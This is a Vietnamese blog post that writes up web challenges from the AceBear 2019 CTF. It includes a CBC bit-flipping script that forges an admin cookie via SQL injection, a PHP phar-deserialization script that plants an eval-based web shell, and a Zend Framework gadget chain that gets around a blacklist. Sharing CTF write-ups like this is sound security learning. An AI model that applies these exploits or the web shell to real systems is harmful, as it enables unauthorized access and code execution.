[AceBear Security Contest 2019] duudududduduud,store image service, best band of asia, web 100

Có hai quyết định mà mình xếp vào hàng những quyết định đúng đắn nhất của cuộc đời cho đến lúc này. Thứ nhất là biết đến và chơi CTF.

Thứ hai là dừng chơi.

duudududduduud

File backup của bài này đến giờ vẫn là một dấu hỏi khi mình không thực sự hiểu hết dụng ý của tác giả. Nó là một git repo nặng những mấy chục MB, làm mình mò đọc history như đúng rồi.

Về chức năng, mỗi khi ta truy cập file login.php thì username sẽ được lấy ra từ cookie (tạo ở bước đăng nhập trước đó) và select thông tin từ DB như sau:

if (isset($_COOKIE["session_remember"]) && !isset($_SESSION["is_logged"]))
{
	$username = check_cookie($_COOKIE["session_remember"],$key);
	$tmp = $username;
	$username = explode("|thisisareallyreallylongstringasfalsfassfasfaasff",$username)[0];
	$query = "SELECT username,admin FROM Users WHERE username='$username'";
	$result = $conn->query($query);
	if ($result->num_rows === 1) 
	{
		while($row = $result->fetch_assoc())
		{
			$_SESSION["is_logged"] = true;
			$_SESSION["username"] = $row["username"];
			$_SESSION["admin"] = $row["admin"];
			$_SESSION["folder"] = "uploads/".md5($username);
			header("Location: index.php");
			$conn->close();
			exit();
		}
	}
function check_cookie($token,$key)
{
	$aes = new Aes($key, 'CBC', $key);
	$token = base64_decode($token);
	return $aes->decrypt($token);
}

Ví dụ với username là yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy, chuỗi sau decrypt sẽ là yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy|thisisareallyreallylongstringasfalsfassfasfaasff. Để có thể SQL Injection và chuyển biến admin thành True (sẽ cần cho bước tiếp theo), chúng ta có thể flip byte để thành:

yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy|thisisareallyreallylongstringasfalsfassfasfaasff

=>

yyyyyyyyyyyyyyyy' union select 'hisisareallyreal',1-- -xxxxxxxxxxxxxxxxxxxxxxxx
[              ][              ][              ][              ][              ]

Có 5 block tất cả.

org_plaintext   = 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy|thisisareallyreallylongstringasfalsfassfasfaasff_'
admin_plaintext = "yyyyyyyyyyyyyyyy' union select 'hisisareallyreal',1-- -tringasfalsfassfasfaasff_"

org_cipher = base64.b64decode(urllib.unquote('NGavsbCl2edw1Do6YfQS729nAN4G%2B2ylXChxfV7PhqdWQDPLQDOAW3gWmYm7LXHz7tNZ7gFRjkVvonxtMRpDALvYPXMBeCu%2BZ9332%2BcNY3M%3D'))
admin_cipher = map(ord, org_cipher)

for i in xrange(0, 16):
    admin_cipher[i] = ord(org_cipher[i]) ^ ord(org_plaintext[i + 16]) ^ ord(admin_plaintext[i + 16])

for i in xrange(32, 48):
    admin_cipher[i] = ord(org_cipher[i]) ^ ord(org_plaintext[i + 16]) ^ ord(admin_plaintext[i + 16])

admin_cipher = ''.join(map(chr, admin_cipher))
print 'Admin Cookie:', urllib.quote(base64.b64encode(admin_cipher))

Sau khi đã thành admin thì phần còn lại không có gì nhiều để nói. Một lần nữa không hiểu mình có bỏ sót ý đồ gì của tác giả hay không, nó giống như cung cấp một chức năng để up shell hoàn toàn tường minh vậy.

store image service

Bài này bị lỗi (đọc flag qua url file://xxx) nên tác giả phải sửa lại và bổ sung thêm version 2. Có một thông báo từ BTC nghi ngờ rằng các đội share flag, nhưng mình nghĩ là hiểu lầm thôi.

best band of asia

Cá nhân mình đánh giá đây là một bài rất hay, logic và không có gì khuất tất.

Dùng thử một lượt các chức năng thì có thể thấy ngay lỗi SQLI ở phần xem ảnh. Tiến hành đọc source controller_image.php trước để xem câu query như thế nào thì thấy là tác giả rất tinh tế khi cái select ra là filename, nên chúng ta có thể tận dụng luôn để đọc file một cách nhanh chóng hơn.

public function detail(){	
	if(isset($_GET["id"])){
		$image = $this->model->fetch_one("SELECT filename FROM photos WHERE id=".$_GET["id"]);
		$yummy = ["..","//","<",">"];
		$filename = str_replace($yummy," ",$image["filename"]);
		@readfile($filename);
	}
}

Chức năng upload file báo lỗi permission nhưng thực chất thì file đã được upload trước đó rồi. Như vậy chúng ta có thể upload file tùy ý (tuy nhiên phần mở rộng luôn là jpg).

$check = file_exists($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false){
	$image = new image(null,null,null,null);				    	
	$image->set_file(rand().".jpg");
	$image->set_data(file_get_contents($_FILES["fileToUpload"]["tmp_name"]));
	$image->save();				    	
}
public function save(){		
	global $local_dir;
	global $root_dir;
	$yummy = ["..","//","<",">"];
	$filename = str_replace($yummy," ",$this->file);
	file_put_contents($root_dir."/".$local_dir.$filename, $this->data);
	echo "Uploaded: ".$local_dir.$filename;

}

Chuyển sang xem class controller_audio, chúng ta thấy dấu hiệu khả nghi của lỗi Object Deserialization (nếu không phải để tạo lỗi thì mình khá bối rối khi thấy ai đó code mà dùng hàm __destruct trong CTF):

public function __destruct(){
	if($this->default_audio !== null){				
		$this->default_audio->save();
		header("Location:index.php");
	}
}

default_audio được kỳ vọng sẽ chứa object thuộc class audio, nhưng trùng hợp là class image cũng có method này như chúng ta vừa thấy ở trên, và nó cho phép chúng ta ghi file với phần mở rộng tùy ý.

Object Deserialization nhưng trong code lại không có chỗ nào gọi hàm unserialize cả, điều đó gợi cho chúng ta một dạng attack mà dạo gần đây rất hay được dùng để ra đề CTF.

Lúc đầu mình nghĩ có thể trigger việc đọc file phar qua lỗi SQLI, bằng cách query ra filename = phar://, nhưng tiếc là tác giả muốn bài này phải khó hơn một chút, nên chỗ đó đã bị replace // thành <space> rồi.

Có thể các bạn để ý hoặc không, thì việc code đề CTF cũng là một công việc mệt mỏi. Sẽ cần rất nhiều thời gian để một bài CTF giống với một ứng dụng trong thực tế, và thường thì người ra đề sẽ chỉ code không thừa một tí nào những cái họ cần. Có nghĩa là mọi chức năng của đề bài kiểu gì cũng sẽ liên quan đến lời giải.

Nó vô hình trung lại thành những gợi ý mà chưa chắc tác giả đã muốn đưa ra.

Bài này còn một chức năng nữa là fetch image, chúng ta nhập một URL vào, và web sẽ trả về src của các tag img trong URL đó sau khi check tính hợp lệ bằng hàm getimagesize:

public function fetchImagePage(){
	include "view/view_fetchimagepage.php";
	$url = isset($_POST['Pagelink'])?$_POST['Pagelink']:null;	
	if($url !== null){
		$urlParts = parse_url($url);
		if ($urlParts === false || !in_array($urlParts["scheme"], ['http', 'https'])) {
		    die("<h1>Invalid Url</h1><img src=\"https://i.pinimg.com/originals/17/48/6d/17486d34b9d0bd19353af01fb13b1fc4.gif\">");
		}
		$html = file_get_contents($url);
		$doc = new DOMDocument();
		@$doc->loadHTML($html);
		$tags = $doc->getElementsByTagName('img');
		$count = 0;
		foreach ($tags as $tag) {
			$count++;
			if($count<=10){
				$image = $tag->getAttribute('src');   
				if(@getimagesize($image)){
					echo "<img src=\"".$image."\"><br/>";
				}
			}

		}				
	}			
}

Như vậy, mảnh ghép còn thiếu là tạo một trang HTML, chứa một tag img với thuộc tính src trỏ đến đường dẫn phar://<file_phar_với_đuôi_jpg>. Khi hàm getimagesize được gọi, file shell sẽ được ghi, tương tự kết quả của đoạn code sau:

<?php

class controller_audio {
	public $default_audio;

	public function __destruct(){
		if($this->default_audio !== null){				
			$this->default_audio->save();
		}
	}
}

class image {
	public $title;
	public $file;
	public $data;
	public $id;
	public $album_id;
	public function __construct($title,$file,$id,$album_id){
		$this->title = $title;
		$this->file = $file;
		$this->id = $id;
		$this->album_id = $album_id;
	}

	public function save() {		
		$local_dir = 'files/';
		$root_dir = '.';
		$yummy = ["..","//","<",">"];
		$filename = str_replace($yummy," ",$this->file);
		echo $root_dir."/".$local_dir.$filename;
		file_put_contents($root_dir."/".$local_dir.$filename, $this->data);
		echo "Uploaded: ".$local_dir.$filename;
	}
}

@unlink('phar.phar');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new controller_audio();
$image = new image(null,null,null,null);
$image->file = 'rce.php';
$image->data = '<?php echo "1337"; var_dump(eval($_GET["eval"]));';
$o->default_audio = $image;
$phar->setMetadata($o);
$phar->stopBuffering();

getimagesize('phar://phar.phar/test.txt');
?>

web 100

Lúc mới đọc source code mình cứ nghĩ chẳng lẽ lỗi lại là ở cái hàm unserialize lù lù kia mà không liên quan gì mấy chức năng khác?

Hóa ra đúng là thế thật.

Nhưng vì trong code không có class nào khả dụng, chúng ta sẽ phải build một gadget sử dụng code của Zend Framework (2.4.13). Trên github có tool phpggc chuyên cho mấy framework phổ biến này, mà theo lời tác giả thì gadget cho Zend được public trong quá trình ra đề nên trở tay không kịp, đành phải blacklist chuỗi Expr để ngăn việc bài trở nên quá dễ (chỉ khó hiểu là sao tác giả không update source code luôn thay vì để người chơi không hiểu vì sao payload của mình lại bị reject).

Tuy nhiên, sau khi đọc code build cái gadget đó và debug thử, thì mình nhận ra cái class Zend\Json\Expr bị blacklist không có vai trò gì quan trọng cả, nó chỉ đơn giản là cung cấp một hàm mà sau khi được gọi thì trả về chuỗi ta muốn (cụ thể ở đây là __toString):

namespace Zend\Filter {
    class FilterChain {
        protected $filters;

        function __construct($function, $param) {
            $this->filters = new \SplFixedArray(2);
            $this->filters[0] = array(
                new \Zend\Json\Expr($param),
                "__toString"
            );
            $this->filters[1] = $function;
        }
    }
}

namespace Zend\Json {
    class Expr {
        protected $expression;

        function __construct($param) {
            $this->expression = $param;
        }
    }
}

Tìm một class khác để thay thế là tương đối dễ dàng, chẳng hạn như:

namespace Zend\Filter {
    class FilterChain {
        protected $filters;

        function __construct($function, $param) {
            $this->filters = new \SplFixedArray(2);
            $this->filters[0] = array(
                new \Zend\Db\Sql\Literal($param),
                "getLiteral"
            );
            $this->filters[1] = $function;
        }
    }
}

namespace Zend\Db\Sql {
    class Literal {
        protected $literal = '';

        public function __construct($literal = ''){
            $this->literal = $literal;
        }
    }
}

Tuy nhiên gadget này vẫn chưa chạy được, bởi vì sau khi unserialize, chương trình còn gọi một hàm của class SignObject, do object của chúng ta (vốn đang thuộc class \Zend\Log\Logger) không có hàm này nên sẽ bị exception, dẫn tới hàm__destruct sẽ không được thực thi. Giống như đoạn code bên dưới mình lấy từ google:

<?php
class Test {
    public function __destruct() { echo "XXX"; }
}

$test = new Test();
throw new Exception('', 666);
?>

Hướng giải quyết là chúng ta sẽ wrap class SignObject bên ngoài Logger như thế này:

public function generate(array $parameters)
{
    $function = $parameters["function"];
    $parameter = $parameters["parameter"];

    $logger = new \Zend\Log\Logger($function, $parameter);
    $signObject = new \SignObject($logger, null, null);

    return $signObject;
}

Đến đây, gần như ta đã có thể gọi hàm bất kỳ (miễn là có một biến đầu vào), trừ mấy hàm bị filter (system, passthru, exec, eval, escapeshellcmd, popen). Nhưng điều đó không có gì quan trọng cả, chúng ta chỉ cần đọc được file là đủ, vì flag nằm trong file flag.php còn gì?

CTF thật kỳ diệu. Đôi khi chúng ta thấy flag ở một chỗ vớ vẩn nào đó không ngờ trước. Rồi đôi khi lại thấy một thứ vớ vẩn ở nơi mà đáng ra phải là flag.

Rốt cuộc thì flag nằm đâu?

Sau khi dành thêm một ngày để nhìn nhận lại và cố hiểu xem vì sao tác giả lại cho file flag.php vào source code trong khi ngay cả trên server nó cũng không chứa flag, mình thôi không nghĩ nữa. Không phải cái gì cũng hễ cứ cố là sẽ làm được.

Mình chạy glob('/*/*/*/flag*') và thấy có một file khả nghi, /proc/self/cwd/flag.jpg:

Chúc mừng AceBear đã tổ chức thành công một giải CTF có chất lượng cao.

Leave a Reply

Your email address will not be published. Required fields are marked *